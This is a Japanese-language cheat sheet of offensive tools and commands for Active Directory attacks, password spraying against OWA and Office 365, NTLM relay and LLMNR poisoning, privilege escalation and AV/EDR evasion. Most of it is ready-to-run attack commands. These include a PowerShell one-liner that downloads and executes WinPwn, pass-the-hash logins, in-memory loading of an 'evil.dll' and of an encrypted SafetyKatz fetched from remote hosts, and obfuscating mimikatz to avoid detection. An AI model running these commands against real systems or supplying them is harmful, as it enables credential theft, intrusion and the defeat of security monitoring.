
Active Directory攻撃、C2、権限昇格、難読化、およびWebペンテストのための攻撃的セキュリティツールとコマンドの厳選コレクション。
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt、KeeThief、Rubeus、SharpUp ...
https://github.com/PowerShellMafia/PowerSploit
PowerView、PowerUp、Get-GPPPassword ...
https://github.com/BloodHoundAD/BloodHound
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
https://github.com/fox-it/BloodHound.py
bloodhound.py -c all
https://github.com/adrecon/ADRecon
ドメインメンバーホスト上で ADRecon を実行するには。
PS C:\> .\ADRecon.ps1
別のユーザーとしてドメインメンバーホスト上で ADRecon を実行するには。
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
LDAP を使用して非メンバーホスト上で ADRecon を実行するには。
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
https://github.com/byt3bl33d3r/SprayingToolkit
Lync/Skype & OWA スプレイヤー、ワードリストジェネレーター、ネーミングスキームコンバーターなど。
OWA へのスプレー
./atomizer.py owa contoso.com 'Fall2018' emails.txt
Lync へのスプレー
./atomizer lync contoso.com --user-as-pass usernames.txt
偵察モード
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
https://github.com/dafthack/MailSniper
OWA & EWS への攻撃
ネーミングスキームは testdomain.com\schmidta や aschmidt のような形式にする必要があります -> msfモジュールでスキームを確認してください
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
https://github.com/0xZDH/msspray
O365 列挙 & スプレーツール
スプレーせずにユーザー列挙のみを行います。完全なメールアドレス [email protected] を含むテキストファイルが必要です。
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
https://github.com/dafthack/MSOLSpray
O365 スプレイヤー
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
https://github.com/quickbreach/ExchangeRelayX
HTTP 経由の NTLM 認証を使用して EWS を攻撃します。
./exchangeRelayx.py -t https://mail.quickbreach.com
https://github.com/tevora-threat/SharpView
PowerView の .NET への移植
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
https://github.com/m8r0wn/CrossLinked
メールアドレス / ユーザーの収集
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
公式ドキュメント: https://mpgn.gitbook.io/crackmapexec/
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/mrnamp/EvilWinRM
Linux マシンから Microsoft の WS-Management 実装(別名 Powershell-Remoting)と対話するためのツール。
パスワードの代わりにハッシュを使用して接続することもできます。
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
また、C#、DLL、または donut シェルコードを後で直接メモリ内で実行することも可能です。
実行可能ファイルは -e 引数で設定されたパスに存在する必要があります。
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
AMSI のバイパス、Kerberos チケットの取得なども可能です...
https://github.com/rasta-mouse/SharpRDP
RDP 経由でものを実行します。マルチ RDP が有効でない場合、ユーザーに通知が表示されます!
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/Kevin-Robertson/Inveigh
PowerShell 製の ADIDNS/LLMNR/mDNS/NBNS/DNS スプーファーおよび中間者攻撃ツール
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
https://github.com/lgandx/Responder
LLMNR/NBT-NS/mDNS ポイズナー
./Responder.py -I eth0
https://github.com/cobbr/Covenant
https://github.com/BC-SECURITY/Empire
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Linux & Windows 用のエクスプロイト
https://github.com/p3nt4/PowerShdll
PowerShell なしの PowerShell
rundll32 PowerShdll,main -w
https://github.com/NetSPI/PowerUpSQL
https://github.com/hfiref0x/UACME
https://github.com/rasta-mouse/Watson
https://github.com/itm4n/PrivescCheck
C / C++ バイナリを難読化
新モジュール -> ShellCode fluctuation:
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
参照: https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
https://github.com/S4ntiagoP/donut/tree/syscalls
syscall を使用した Donut シェルコード / PE ジェネレーターのフォーク
https://github.com/EgeBalci/amber
C / C++ バイナリを難読化
https://github.com/danielbohannon/Invoke-Obfuscation
PowerShell スクリプト用の難読化ツール。
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
https://github.com/slaeryan/AQUARMOURY
AV/EDR などをバイパスするためのツールコレクション
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
PowerShell スクリプト用の難読化および暗号化ツール。
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
PowerShell ISE 用のツールコレクション。難読化の可能性。
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
PS1 を EXE ファイルに変換。
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
ペイロードを暗号化し、メモリ内で復号化する C# バイナリ用のラッパー。
バイナリの暗号化:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
URL から暗号化されたバイナリをロード:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
コマンドライン引数を使用してディスクから暗号化されたバイナリをロード:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
https://github.com/klezVirus/inceptor
C# および PowerShell 用の難読化ツール
https://github.com/tokyoneon/Chimera
PowerShell スクリプト難読化ツール
https://github.com/xforcered/InvisibilityCloak
C# アセンブリ難読化ツール
https://github.com/yck1509/ConfuserEx
C# アセンブリ難読化ツール
https://github.com/9emin1/charlotte
D-Invoke を使用したシェルコードローダー
https://github.com/lleon1435/avcleaner
C/C++ ソース難読化ツール
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 列挙: https://github.com/gremwell/o365enum
O365 スプレー: https://github.com/0xZDH/o365spray